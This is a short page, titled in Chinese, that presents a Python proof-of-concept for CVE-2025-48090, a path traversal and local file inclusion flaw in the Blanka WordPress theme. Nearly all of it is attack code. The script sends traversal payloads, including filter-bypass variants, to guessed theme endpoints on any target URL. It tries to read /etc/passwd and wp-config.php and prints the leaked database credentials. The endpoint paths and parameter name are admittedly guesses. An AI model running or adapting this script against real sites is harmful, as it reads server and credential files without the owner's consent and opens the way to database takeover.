CVE-2025-48090: Blanka WordPress主题路径遍历导致本地文件包含漏洞

#!/usr/bin/env python3 """ CVE-2025-48090 PoC - Blanka WordPress Theme Path Traversal LFI Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-48090 """ import requests import sys TARGET_URL = "http://target-site.com/" # Common vulnerable endpoint patterns in WordPress themes VULNERABLE_PATHS = [ "wp-content/themes/blanka-wp/includes/shortcodes.php", "wp-content/themes/blanka-wp/inc/ajax.php", "wp-content/themes/blanka-wp/functions.php" ] def test_path_traversal(target_url): """Test for Path Traversal vulnerability in Blanka theme""" # Files to read for verification test_files = [ "../../../../../../../../etc/passwd", "....//....//....//....//....//....//....//....//etc/passwd", ".../...//.../...//.../...//.../...//etc/passwd" ] print(f"[*] Testing CVE-2025-48090 on {target_url}") print(f"[*] Target: Blanka WordPress Theme < 1.5") for path in VULNERABLE_PATHS: for test in test_files: # Construct the attack URL params = { "file": test # Common parameter names: file, path, page, template, etc. } url = target_url + path try: response = requests.get(url, params=params, timeout=10, verify=False) # Check if file content is leaked if "root:" in response.text or "bin:" in response.text: print(f"[!] VULNERABLE! Path: {path}") print(f"[!] Payload: {test}") print(f"[+] Leaked content preview:") print(response.text[:500]) return True # Try to read wp-config.php wpconfig_payload = ".../...//.../...//.../...//.../...//wp-config.php" params["file"] = wpconfig_payload response = requests.get(url, params=params, timeout=10, verify=False) if "DB_NAME" in response.text or "DB_PASSWORD" in response.text: print(f"[!] CRITICAL: wp-config.php leaked!") print(f"[+] Content preview:") print(response.text[:800]) return True except requests.RequestException as e: print(f"[-] Request failed: {e}") continue print("[*] No obvious vulnerability detected (manual testing may be required)") return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] test_path_traversal(TARGET_URL)